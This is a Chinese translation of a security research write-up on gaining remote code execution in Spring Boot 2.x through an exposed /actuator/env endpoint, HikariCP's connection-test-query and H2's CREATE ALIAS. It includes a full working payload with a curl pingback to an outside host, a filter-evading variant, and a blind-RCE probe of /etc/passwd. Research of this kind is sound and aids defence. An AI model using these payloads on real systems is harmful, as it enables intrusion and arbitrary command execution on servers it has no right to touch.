序幕
Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序。通过专注于开发人员友好的工具和配置,Spring Boot加快了开发过程。
但是,这些开发默认设置在经验不足的开发人员手中可能会变得很危险。我的文章扩展了Michal Stepankin的工作,Michal Stepankin研究了在Spring Boot 1.x中利用暴露的执行器并通过反序列化实现RCE的方法。我通过Spring Boot 2.x的默认HikariCP数据库连接池和公共Java开发数据库H2数据库引擎提供了更新的RCE方法。我还基于Spring Boot的默认教程应用程序创建了一个示例Spring Boot应用程序,以演示该漏洞利用。
让我们从最终的有效负载开始:
POST /actuator/env HTTP/1.1
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl http://x.burpcollaborator.net');"}
有效负载包括三个不同部分:对/actuator/env
端点的环境修改请求,CREATE ALIAS
H2 SQL命令,当然还有最终的OS命令注入。
S
pring Boot Actuators创建了多个HTTP端点,使开发人员可以轻松地监视和管理应用程序。正如Stepankin所指出的,Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers.
对于此攻击,/actuator/env
必须公开端点。开发人员只需要向其配置文件中添加management.endpoints.web.exposure.include=env
(或更糟糕的是management.endpoints.web.exposure.include=*
)application.properties
即可公开这一点。
该/actuator/env
端点包括GET
和POST
方法来检索和设置应用程序的环境变量。该POST
请求使用以下格式:
POST /actuator/env HTTP/1.1
{"name":"<NAME OF VARIABLE>","value":"<VALUE OF VARIABLE>"}
您可以浏览应用程序的环境变量列表,这些环境变量提供有关执行上下文和系统的数据。但是,这些变量中只有很少的一个可以在运行时用于更改应用程序,甚至可以使用更少的变量来执行代码。幸运的是,Spring Boot 2.x 默认使用HikariCP数据库连接池,它引入了一个这样的变量。
HikariCP帮助应用程序与数据库进行通信。根据其文档,它接受connectionTestQuery
定义the query that will be executed just before a connection is given to you from the pool to validate that the connection to the database is still alive.
匹配的Spring Boot环境变量为的配置spring.datasource.hikari.connection-test-query
。简而言之,无论何时创建新的数据库连接,值都spring.datasource.hikari.connection-test-query
将首先作为SQL查询执行。触发新数据库连接的方式有两种:通过向请求重新启动应用程序POST /actuator/restart
或更改数据库连接数,以及通过向应用程序发出多个请求来初始化它。
这已经很严重了–您可以运行任意SQL查询并根据需要删除数据库。但是,让我们进一步升级并研究H2数据库引擎,它是最流行的Java开发数据库之一。可以将其视为基于Java的SQLite,但非常易于集成到Spring Boot中。它只需要一个依赖项。因此,它通常在Spring Boot开发中使用。
Matheus Bernardes强调了H2中包含的重要SQL命令:CREATE ALIAS
。与PostgreSQL的用户定义函数类似,您可以定义与别名相对应的Java函数,然后像在函数中一样在SQL查询中调用它。
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');
当然,您可以使用Java的Runtime.getRuntime().exec
功能,该功能允许您直接执行OS命令。
在这一点上,您可能会遇到常见的WAF过滤器,尤其是对于诸如多汁的字符串等exec()
。但是,这种嵌套的有效负载的一个优点是,您可以使用各种字符串连接技术轻松找到旁路。RIPStech的Johannes Moritz通过使用CONCAT
和HEXTORAW
命令来分解查询来证明这一点:
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');
另一个挑战是您可能在非常有限的上下文中执行代码。该应用程序可能在没有Internet访问并且可用命令有限的Dockerized实例中运行;Alpine Linux是Docker中最常见的Linux发行版,甚至没有Bash。此外,该exec()
函数执行原始OS命令,而不是在Shell中执行,从而删除了布尔比较,管道和重定向等有用的工具。
在这里,它有助于缩小一点并以整体方式接近有效负载。请记住,的目的spring.datasource.hikari.connection-test-query
是验证与数据库的连接是否仍然有效。如果查询失败,则应用程序将认为数据库不可访问,并且不再返回其他数据库查询。攻击者可以利用此漏洞获得盲目的RCE,而不是curl x.burpcollaborator.net
运行诸如此类的命令grep root /etc/passwd
。这将返回输出(因为/etc/passwd
确实包含root
字符串),因此查询成功。该应用程序继续正常运行。如果它们运行grep nonexistent /etc/passwd
,该命令将不返回任何输出,Java代码将引发错误,并且查询将失败,从而导致应用程序失败。
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next(); // OS command returns output; return output and SQL query succeeds
}
throw new IllegalArgumentException(); // OS command fails to return output; throw exception and SQL query fails
}
这是将有效负载的三个组成部分结合在一起以在有限的上下文中仍然证明代码执行的一种有趣的方式。非常感谢Ian Bouchard指出了盲目RCE的可能性。
希望您不必对此进行处理,而可以curl
像我的示例易受攻击的Spring Boot应用程序这样进行简单的pingback
通过公开/actuator/env
和/actuator/restart
端点(这在开发环境中很常见),开发人员将其应用程序置于执行远程代码的风险中。当然,如果应用程序在本地运行,这将不是问题,但可以想象,在原型设计期间粗心的开发人员将其放置在公共IP上并不是一件容易的事。
通过本文和相关文章进行讨论的
一个共同主题是,开发人员可以轻松地在代码中引入严重漏洞,而无需了解这些漏洞。执行器和H2数据库是加速开发和原型开发的有用工具,但默认情况下,执行器和H2数据库暴露给它们会创建一个远程执行代码漏洞。